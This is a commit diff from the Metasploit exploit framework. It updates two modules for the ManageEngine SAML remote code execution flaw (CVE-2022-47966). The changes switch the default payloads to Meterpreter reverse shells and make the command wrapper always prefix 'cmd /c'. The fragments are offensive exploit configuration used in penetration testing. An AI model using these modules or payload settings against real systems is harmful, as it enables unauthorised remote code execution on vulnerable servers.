Skip to content

Commit 97513d4

Browse files
committed
Update manageengine_endpoint_central and servicedesk_plus default payloads
1 parent b2cb102 commit 97513d4

File tree

2 files changed

+5
-7
lines changed

2 files changed

+5
-7
lines changed

modules/exploits/multi/http/manageengine_servicedesk_plus_saml_rce_cve_2022_47966.rb

Lines changed: 2 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -65,7 +65,7 @@ def initialize(info = {})
6565
'Platform' => 'win',
6666
'Arch' => ARCH_CMD,
6767
'Type' => :windows_command,
68-
'DefaultOptions' => { 'Payload' => 'cmd/windows/powershell/meterpreter/reverse_tcp' },
68+
'DefaultOptions' => { 'Payload' => 'cmd/windows/https/x64/meterpreter/reverse_tcp' },
6969
'Payload' => { 'BadChars' => "\x27" }
7070
}
7171
],
@@ -200,7 +200,7 @@ def trigger_urlclassloader
200200

201201
def execute_command(cmd, _opts = {})
202202
case target['Type']
203-
when :windows_dropper
203+
when :windows_dropper, :windows_command
204204
cmd = "cmd /c #{cmd}"
205205
when :unix_cmd, :linux_dropper
206206
cmd = cmd.gsub(' ') { '${IFS}' }

modules/exploits/windows/http/manageengine_endpoint_central_saml_rce_cve_2022_47966.rb

Lines changed: 3 additions & 5 deletions
Original file line numberDiff line numberDiff line change
@@ -46,7 +46,7 @@ def initialize(info = {})
4646
'Type' => :java,
4747
'Platform' => 'java',
4848
'Arch' => ARCH_JAVA,
49-
'DefaultOptions' => { 'Payload' => 'java/shell_reverse_tcp' }
49+
'DefaultOptions' => { 'Payload' => 'java/meterpreter/reverse_tcp' }
5050
},
5151
],
5252
[
@@ -65,7 +65,7 @@ def initialize(info = {})
6565
'Platform' => 'win',
6666
'Arch' => ARCH_CMD,
6767
'Type' => :windows_command,
68-
'DefaultOptions' => { 'Payload' => 'cmd/windows/powershell/meterpreter/reverse_tcp' },
68+
'DefaultOptions' => { 'Payload' => 'cmd/windows/https/x64/meterpreter/reverse_tcp' },
6969
'Payload' => { 'BadChars' => "\x27" }
7070
}
7171
]
@@ -179,9 +179,7 @@ def trigger_urlclassloader
179179
end
180180

181181
def execute_command(cmd, _opts = {})
182-
if target['Type'] == :windows_dropper
183-
cmd = "cmd /c #{cmd}"
184-
end
182+
cmd = "cmd /c #{cmd}"
185183
cmd = cmd.encode(xml: :attr).gsub('"', '')
186184

187185
vars = Rex::RandomIdentifier::Generator.new({ language: :java })

0 commit comments

Comments
 (0)